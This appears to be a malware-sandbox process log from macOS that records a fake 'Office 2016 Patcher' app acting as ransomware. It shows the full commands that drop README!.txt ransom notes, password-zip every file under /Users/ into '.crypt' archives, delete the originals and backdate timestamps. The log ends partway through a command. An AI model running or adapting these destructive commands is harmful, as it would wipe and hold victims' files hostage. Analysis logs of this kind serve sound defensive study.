xpcproxy com.apple.PerformanceAnalysis.animationperfd
1⤵
PID:554

/System/Library/PrivateFrameworks/PerformanceAnalysis.framework/Versions/A/XPCServices/com.apple.PerformanceAnalysis.animationperfd.xpc/Contents/MacOS/com.apple.PerformanceAnalysis.animationperfd
/System/Library/PrivateFrameworks/PerformanceAnalysis.framework/Versions/A/XPCServices/com.apple.PerformanceAnalysis.animationperfd.xpc/Contents/MacOS/com.apple.PerformanceAnalysis.animationperfd
1⤵
PID:554

/usr/libexec/xpcproxy
xpcproxy com.apple.dock.ecti.A73F40A6-652E-4650-836A-9B70B3FAB8CB 276
1⤵
PID:557

/System/Library/CoreServices/Dock.app/Contents/XPCServices/com.apple.dock.ecti.xpc/Contents/MacOS/com.apple.dock.ecti
/System/Library/CoreServices/Dock.app/Contents/XPCServices/com.apple.dock.ecti.xpc/Contents/MacOS/com.apple.dock.ecti
1⤵
PID:557

/usr/libexec/xpcproxy
xpcproxy com.apple.appkit.xpc.openAndSavePanelService 523
1⤵
PID:558

/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/com.apple.appkit.xpc.openAndSavePanelService.xpc/Contents/MacOS/com.apple.appkit.xpc.openAndSavePanelService
/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/com.apple.appkit.xpc.openAndSavePanelService.xpc/Contents/MacOS/com.apple.appkit.xpc.openAndSavePanelService
1⤵
PID:558

/usr/libexec/xpcproxy
xpcproxy com.apple.quicklook.QuickLookUIService 558
1⤵
PID:559

/System/Library/Frameworks/Quartz.framework/Versions/A/Frameworks/QuickLookUI.framework/Versions/A/XPCServices/QuickLookUIService.xpc/Contents/MacOS/QuickLookUIService
/System/Library/Frameworks/Quartz.framework/Versions/A/Frameworks/QuickLookUI.framework/Versions/A/XPCServices/QuickLookUIService.xpc/Contents/MacOS/QuickLookUIService
1⤵
PID:559

/usr/libexec/xpcproxy
xpcproxy com.apple.automountd
1⤵
PID:560

/usr/libexec/automountd
automountd
1⤵
PID:560
- /usr/libexec/od_user_homes
  /usr/libexec/od_user_homes .localized
  2⤵
  PID:561

/usr/libexec/xpcproxy
xpcproxy com.apple.printtool.agent
1⤵
PID:562

/System/Library/Frameworks/ApplicationServices.framework/Frameworks/PrintCore.framework/Versions/A/printtool
/System/Library/Frameworks/ApplicationServices.framework/Frameworks/PrintCore.framework/Versions/A/printtool
1⤵
PID:562

/usr/libexec/xpcproxy
xpcproxy com.apple.quicklook.satellite.2AA8CCB3-A99C-4D46-BF4B-04F435E332BE 510
1⤵
PID:564

/System/Library/Frameworks/QuickLook.framework/Versions/A/XPCServices/QuickLookSatellite.xpc/Contents/MacOS/QuickLookSatellite
/System/Library/Frameworks/QuickLook.framework/Versions/A/XPCServices/QuickLookSatellite.xpc/Contents/MacOS/QuickLookSatellite
1⤵
PID:564

/usr/libexec/xpcproxy
xpcproxy com.apple.quicklook.ui.helper
1⤵
PID:566

/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
1⤵
PID:566

/usr/libexec/xpcproxy
xpcproxy com.apple.metadata.mdwrite
1⤵
PID:567

/usr/libexec/xpcproxy
xpcproxy com.apple.WebKit.WebContent.BAA39492-3C5C-4ED3-8C94-50AA89E1AF2C 490
1⤵
PID:573

/System/Library/Frameworks/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent
/System/Library/Frameworks/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent
1⤵
PID:573

/usr/libexec/xpcproxy
xpcproxy "com.apple.xpc.launchd.oneshot.0x10000005.Archive Utility"
1⤵
PID:574

/System/Library/CoreServices/Applications/Archive Utility.app/Contents/MacOS/Archive Utility
"/System/Library/CoreServices/Applications/Archive Utility.app/Contents/MacOS/Archive Utility" -psn_0_245820
1⤵
PID:574

/usr/bin/macbinary
/usr/bin/macbinary probe --verbose "/Users/run/Downloads/FileCoder (FindZip, Patcher).zip"
1⤵
PID:575

/usr/bin/file
/usr/bin/file -b "/Users/run/Downloads/FileCoder (FindZip, Patcher).zip"
1⤵
PID:576

/usr/libexec/xpcproxy
xpcproxy com.apple.archiveutility.auhelperservice 574
1⤵
PID:577

/System/Library/CoreServices/Applications/Archive Utility.app/Contents/XPCServices/AUHelperService.xpc/Contents/MacOS/AUHelperService
"/System/Library/CoreServices/Applications/Archive Utility.app/Contents/XPCServices/AUHelperService.xpc/Contents/MacOS/AUHelperService"
1⤵
PID:577

/System/Library/Frameworks/FileProvider.framework/XPCServices/ArchiveService.xpc/Contents/MacOS/ArchiveService
/System/Library/Frameworks/FileProvider.framework/XPCServices/ArchiveService.xpc/Contents/MacOS/ArchiveService
1⤵
PID:578

/usr/libexec/xpcproxy
xpcproxy com.apple.appkit.xpc.sandboxedServiceRunner 574
1⤵
PID:579

/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/SandboxedServiceRunner.xpc/Contents/MacOS/SandboxedServiceRunner
/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/SandboxedServiceRunner.xpc/Contents/MacOS/SandboxedServiceRunner
1⤵
PID:579

/usr/libexec/xpcproxy
xpcproxy "com.apple.xpc.launchd.oneshot.0x10000006.Office 2016 Patcher"
1⤵
PID:581

/private/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/AppTranslocation/94D46616-11D2-42B6-B1EC-A4A7F43BE748/d/Office 2016 Patcher.app/Contents/MacOS/Office 2016 Patcher
"/private/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/AppTranslocation/94D46616-11D2-42B6-B1EC-A4A7F43BE748/d/Office 2016 Patcher.app/Contents/MacOS/Office 2016 Patcher" -psn_0_249917
1⤵
PID:581

/usr/libexec/xpcproxy
xpcproxy com.apple.ReportMemoryException
1⤵
PID:582

/usr/libexec/ReportMemoryException
/usr/libexec/ReportMemoryException
1⤵
PID:582

/bin/sh
sh -c /usr/sbin/kextstat
1⤵
PID:583

/bin/bash
sh -c /usr/sbin/kextstat
1⤵
PID:583

/usr/sbin/kextstat
/usr/sbin/kextstat
1⤵
PID:583

/bin/sh
sh -c /usr/sbin/kextstat
1⤵
PID:584

/bin/bash
sh -c /usr/sbin/kextstat
1⤵
PID:584

/usr/sbin/kextstat
/usr/sbin/kextstat
1⤵
PID:584

/usr/libexec/xpcproxy
xpcproxy com.apple.security.DiskUnmountWatcher
1⤵
PID:586

/System/Library/PrivateFrameworks/KerberosHelper/Helpers/DiskUnmountWatcher
/System/Library/PrivateFrameworks/KerberosHelper/Helpers/DiskUnmountWatcher
1⤵
PID:586

/usr/libexec/xpcproxy
xpcproxy com.apple.Kerberos.kcm
1⤵
PID:588

/System/Library/PrivateFrameworks/Heimdal.framework/Helpers/kcm
/System/Library/PrivateFrameworks/Heimdal.framework/Helpers/kcm --launchd
1⤵
PID:588

/usr/libexec/xpcproxy
xpcproxy com.apple.quicklook.ui.helper
1⤵
PID:589

/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
1⤵
PID:589

/usr/libexec/xpcproxy
xpcproxy com.apple.systempreferences.2140
1⤵
PID:590

/System/Applications/System Preferences.app/Contents/MacOS/System Preferences
"/System/Applications/System Preferences.app/Contents/MacOS/System Preferences"
1⤵
PID:590

/usr/libexec/xpcproxy
xpcproxy com.apple.AccountProfileRemoteViewService 590
1⤵
PID:591

/System/Library/PrivateFrameworks/AOSUI.framework/Versions/A/XPCServices/AccountProfileRemoteViewService.xpc/Contents/MacOS/AccountProfileRemoteViewService
/System/Library/PrivateFrameworks/AOSUI.framework/Versions/A/XPCServices/AccountProfileRemoteViewService.xpc/Contents/MacOS/AccountProfileRemoteViewService
1⤵
PID:591

/System/Library/PreferencePanes/ClassroomSettings.prefPane/Contents/Resources/ClassroomSettingsVisibilityCheckTool
/System/Library/PreferencePanes/ClassroomSettings.prefPane/Contents/Resources/ClassroomSettingsVisibilityCheckTool
1⤵
PID:592

/System/Library/PreferencePanes/Profiles.prefPane/Contents/Resources/CPPrefPaneEnabledTool
/System/Library/PreferencePanes/Profiles.prefPane/Contents/Resources/CPPrefPaneEnabledTool
1⤵
PID:593

/System/Library/PreferencePanes/Sidecar.prefPane/Contents/Resources/sidecarPrefCheck
/System/Library/PreferencePanes/Sidecar.prefPane/Contents/Resources/sidecarPrefCheck
1⤵
PID:594

/System/Library/PreferencePanes/TouchID.prefPane/Contents/Resources/AllowPasswordPref
/System/Library/PreferencePanes/TouchID.prefPane/Contents/Resources/AllowPasswordPref
1⤵
PID:595

/System/Library/PreferencePanes/Wallet.prefPane/Contents/Resources/walletAvailabilityCheckTool
/System/Library/PreferencePanes/Wallet.prefPane/Contents/Resources/walletAvailabilityCheckTool
1⤵
PID:597

/usr/libexec/xpcproxy
xpcproxy com.apple.preference.security.remoteservice 590
1⤵
PID:598

/System/Library/PreferencePanes/Security.prefPane/Contents/XPCServices/com.apple.preference.security.remoteservice.xpc/Contents/MacOS/com.apple.preference.security.remoteservice
/System/Library/PreferencePanes/Security.prefPane/Contents/XPCServices/com.apple.preference.security.remoteservice.xpc/Contents/MacOS/com.apple.preference.security.remoteservice
1⤵
PID:598

/usr/libexec/xpcproxy
xpcproxy com.apple.preferencepane.security.PrivacyAnalytics 598
1⤵
PID:599

/usr/libexec/xpcproxy
xpcproxy com.apple.preferencepane.security.AdvertisingExtension 598
1⤵
PID:600

/System/Library/PrivateFrameworks/PreferencePanesSupport.framework/PlugIns/PrivacyAnalytics.appex/Contents/MacOS/PrivacyAnalytics
/System/Library/PrivateFrameworks/PreferencePanesSupport.framework/PlugIns/PrivacyAnalytics.appex/Contents/MacOS/PrivacyAnalytics
1⤵
PID:599

/System/Library/PrivateFrameworks/PreferencePanesSupport.framework/PlugIns/AdvertisingExtension.appex/Contents/MacOS/AdvertisingExtension
/System/Library/PrivateFrameworks/PreferencePanesSupport.framework/PlugIns/AdvertisingExtension.appex/Contents/MacOS/AdvertisingExtension
1⤵
PID:600

/bin/sh
sh -c /usr/sbin/kextstat
1⤵
PID:604

/bin/bash
sh -c /usr/sbin/kextstat
1⤵
PID:604

/usr/sbin/kextstat
/usr/sbin/kextstat
1⤵
PID:604

/usr/libexec/xpcproxy
xpcproxy com.apple.localAuthenticationRemoteService 598
1⤵
PID:618

/System/Library/PrivateFrameworks/LocalAuthenticationUI.framework/Versions/A/XPCServices/localAuthenticationRemoteService.xpc/Contents/MacOS/localAuthenticationRemoteService
/System/Library/PrivateFrameworks/LocalAuthenticationUI.framework/Versions/A/XPCServices/localAuthenticationRemoteService.xpc/Contents/MacOS/localAuthenticationRemoteService
1⤵
PID:618

/usr/libexec/xpcproxy
xpcproxy com.apple.security.authhost.00000000-0000-0000-0000-0000000186A6
1⤵
PID:619

/System/Library/Frameworks/Security.framework/Versions/A/MachServices/authorizationhost.bundle/Contents/MacOS/authorizationhost
/System/Library/Frameworks/Security.framework/Versions/A/MachServices/authorizationhost.bundle/Contents/MacOS/authorizationhost
1⤵
PID:619

/usr/libexec/xpcproxy
xpcproxy com.apple.systemadministration.writeconfig
1⤵
PID:620

/System/Library/PrivateFrameworks/SystemAdministration.framework/XPCServices/writeconfig.xpc/Contents/MacOS/writeconfig
/System/Library/PrivateFrameworks/SystemAdministration.framework/XPCServices/writeconfig.xpc/Contents/MacOS/writeconfig
1⤵
PID:620

/usr/libexec/xpcproxy
xpcproxy com.apple.ReportMemoryException
1⤵
PID:623

/usr/libexec/ReportMemoryException
/usr/libexec/ReportMemoryException
1⤵
PID:623

/usr/libexec/xpcproxy
xpcproxy com.apple.quicklook.ui.helper
1⤵
PID:624

/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
1⤵
PID:624

/usr/libexec/xpcproxy
xpcproxy "com.apple.xpc.launchd.oneshot.0x10000007.Office 2016 Patcher"
1⤵
PID:631

/private/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/AppTranslocation/BE16FE97-1E09-46FB-9D3F-625E6946DE31/d/Office 2016 Patcher.app/Contents/MacOS/Office 2016 Patcher
"/private/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/AppTranslocation/BE16FE97-1E09-46FB-9D3F-625E6946DE31/d/Office 2016 Patcher.app/Contents/MacOS/Office 2016 Patcher" -psn_0_290887
1⤵
PID:631

/usr/libexec/xpcproxy
xpcproxy com.apple.Kerberos.kcm
1⤵
PID:636

/System/Library/PrivateFrameworks/Heimdal.framework/Helpers/kcm
/System/Library/PrivateFrameworks/Heimdal.framework/Helpers/kcm --launchd
1⤵
PID:636

/usr/libexec/xpcproxy
xpcproxy NULL.prova.3124
1⤵
PID:638

/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/MacOS/Office 2016 Patcher
"/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/MacOS/Office 2016 Patcher"
1⤵
PID:638

/usr/bin/find
/usr/bin/find "/Users/run/Documents/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:639
- /usr/bin/touch
  touch -mt 201002130000 "/Users/run/Documents/README!.txt"
  2⤵
  PID:640

/usr/bin/find
/usr/bin/find "/Users/run/Downloads/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:641
- /usr/bin/touch
  touch -mt 201002130000 "/Users/run/Downloads/README!.txt"
  2⤵
  PID:642

/usr/bin/find
/usr/bin/find "/Users/run/Movies/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:643
- /usr/bin/touch
  touch -mt 201002130000 "/Users/run/Movies/README!.txt"
  2⤵
  PID:644

/usr/bin/find
/usr/bin/find "/Users/run/Pictures/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:645
- /usr/bin/touch
  touch -mt 201002130000 "/Users/run/Pictures/README!.txt"
  2⤵
  PID:646

/usr/bin/find
/usr/bin/find "/Users/run/Music/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:647
- /usr/bin/touch
  touch -mt 201002130000 "/Users/run/Music/README!.txt"
  2⤵
  PID:648

/usr/bin/find
/usr/bin/find "/Users/run/Public/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:649
- /usr/bin/touch
  touch -mt 201002130000 "/Users/run/Public/README!.txt"
  2⤵
  PID:650

/usr/bin/find
/usr/bin/find "/Users/run/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:651
- /usr/bin/touch
  touch -mt 201002130000 "/Users/run/README!.txt"
  2⤵
  PID:652

/usr/bin/find
/usr/bin/find /Users/ -not -iname "README!.txt" -print -exec zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "{}.crypt" "{}" ";" -exec rm "{}" ";" -exec touch -mt 201002130000 "{}.crypt" ";"
1⤵
PID:653
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users/.crypt /Users/
  2⤵
  PID:654
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users//.localized.crypt /Users//.localized
  2⤵
  PID:655
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users//Shared.crypt /Users//Shared
  2⤵
  PID:656
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users//Shared/adi.crypt /Users//Shared/adi
  2⤵
  PID:657
- /usr/bin/rm
  rm /Users//Shared/adi
  2⤵
  PID:658
- /bin/rm
  rm /Users//Shared/adi
  2⤵
  PID:658
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users//Shared/.localized.crypt /Users//Shared/.localized
  2⤵
  PID:659
- /usr/bin/rm
  rm /Users//Shared/.localized
  2⤵
  PID:660
- /bin/rm
  rm /Users//Shared/.localized
  2⤵
  PID:660
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users//Shared/.SeedEnrollment.plist.crypt /Users//Shared/.SeedEnrollment.plist
  2⤵
  PID:661
- /usr/bin/rm
  rm /Users//Shared/.SeedEnrollment.plist
  2⤵
  PID:662
- /bin/rm
  rm /Users//Shared/.SeedEnrollment.plist
  2⤵
  PID:662
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users//run.crypt /Users//run
  2⤵
  PID:663
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users//run/Music.crypt /Users//run/Music
  2⤵
  PID:664
- /usr/bin/rm
  rm /Users//run/Music
  2⤵
  PID:665
- /bin/rm
  rm /Users//run/Music
  2⤵
  PID:665
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users//run/Music/.localized.crypt /Users//run/Music/.localized
  2⤵
  PID:666
- /usr/bin/rm
  rm /Users//run/Music/.localized
  2⤵
  PID:667
- /bin/rm
  rm /Users//run/Music/.localized
  2⤵
  PID:667
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Music/.localized.crypt
  2⤵
  PID:668
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users//run/.DS_Store.crypt /Users//run/.DS_Store
  2⤵
  PID:669
- /usr/bin/rm
  rm /Users//run/.DS_Store
  2⤵
  PID:670
- /bin/rm
  rm /Users//run/.DS_Store
  2⤵
  PID:670
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/.DS_Store.crypt
  2⤵
  PID:671
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users//run/.CFUserTextEncoding.crypt /Users//run/.CFUserTextEncoding
  2⤵
  PID:672
- /usr/bin/rm
  rm /Users//run/.CFUserTextEncoding
  2⤵
  PID:673
- /bin/rm
  rm /Users//run/.CFUserTextEncoding
  2⤵
  PID:673
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/.CFUserTextEncoding.crypt
  2⤵
  PID:674
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users//run/.zshrc.crypt /Users//run/.zshrc
  2⤵
  PID:675
- /usr/bin/rm
  rm /Users//run/.zshrc
  2⤵
  PID:676
- /bin/rm
  rm /Users//run/.zshrc
  2⤵
  PID:676
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/.zshrc.crypt
  2⤵
  PID:677
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users//run/Pictures.crypt /Users//run/Pictures
  2⤵
  PID:678
- /usr/bin/rm
  rm /Users//run/Pictures
  2⤵
  PID:679
- /bin/rm
  rm /Users//run/Pictures
  2⤵
  PID:679
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users//run/Pictures/.localized.crypt /Users//run/Pictures/.localized
  2⤵
  PID:680
- /usr/bin/rm
  rm /Users//run/Pictures/.localized
  2⤵
  PID:681
- /bin/rm
  rm /Users//run/Pictures/.localized
  2⤵
  PID:681
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Pictures/.localized.crypt
  2⤵
  PID:682
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary.crypt" "/Users//run/Pictures/Photos Library.photoslibrary"
  2⤵
  PID:683
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary"
  2⤵
  PID:684
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary"
  2⤵
  PID:684
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database"
  2⤵
  PID:685
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database"
  2⤵
  PID:686
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database"
  2⤵
  PID:686
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.lock.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.lock"
  2⤵
  PID:687
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.lock"
  2⤵
  PID:688
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.lock"
  2⤵
  PID:688
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.lock.crypt"
  2⤵
  PID:689
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite"
  2⤵
  PID:690
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite"
  2⤵
  PID:691
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite"
  2⤵
  PID:691
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.crypt"
  2⤵
  PID:692
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/photos.db.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/photos.db"
  2⤵
  PID:693
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/photos.db"
  2⤵
  PID:694
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/photos.db"
  2⤵
  PID:694
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/photos.db.crypt"
  2⤵
  PID:695
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/search.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search"
  2⤵
  PID:696
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search"
  2⤵
  PID:697
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search"
  2⤵
  PID:697
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/search/graphDataProgress.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/graphDataProgress.plist"
  2⤵
  PID:698
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/graphDataProgress.plist"
  2⤵
  PID:699
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/graphDataProgress.plist"
  2⤵
  PID:699
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/graphDataProgress.plist.crypt"
  2⤵
  PID:700
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/search/zeroKeywords.data.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/zeroKeywords.data"
  2⤵
  PID:701
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/zeroKeywords.data"
  2⤵
  PID:702
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/zeroKeywords.data"
  2⤵
  PID:702
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/zeroKeywords.data.crypt"
  2⤵
  PID:703
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-shm"
  2⤵
  PID:704
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-shm"
  2⤵
  PID:705
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-shm"
  2⤵
  PID:705
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-shm.crypt"
  2⤵
  PID:706
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-wal"
  2⤵
  PID:707
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-wal"
  2⤵
  PID:708
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-wal"
  2⤵
  PID:708
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-wal.crypt"
  2⤵
  PID:709
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchSystemInfo.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchSystemInfo.plist"
  2⤵
  PID:710
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchSystemInfo.plist"
  2⤵
  PID:711
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchSystemInfo.plist"
  2⤵
  PID:711
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchSystemInfo.plist.crypt"
  2⤵
  PID:712
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchMetadata.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchMetadata.plist"
  2⤵
  PID:713
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchMetadata.plist"
  2⤵
  PID:714
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchMetadata.plist"
  2⤵
  PID:714
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchMetadata.plist.crypt"
  2⤵
  PID:715
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchProgress.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchProgress.plist"
  2⤵
  PID:716
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchProgress.plist"
  2⤵
  PID:717
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchProgress.plist"
  2⤵
  PID:717
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchProgress.plist.crypt"
  2⤵
  PID:718
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/search/synonymsProcess.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/synonymsProcess.plist"
  2⤵
  PID:719
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/synonymsProcess.plist"
  2⤵
  PID:720
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/synonymsProcess.plist"
  2⤵
  PID:720
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/synonymsProcess.plist.crypt"
  2⤵
  PID:721
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite"
  2⤵
  PID:722
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite"
  2⤵
  PID:723
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite"
  2⤵
  PID:723
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite.crypt"
  2⤵
  PID:724
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/protection.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/protection"
  2⤵
  PID:725
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/protection"
  2⤵
  PID:726
- /bin/rm
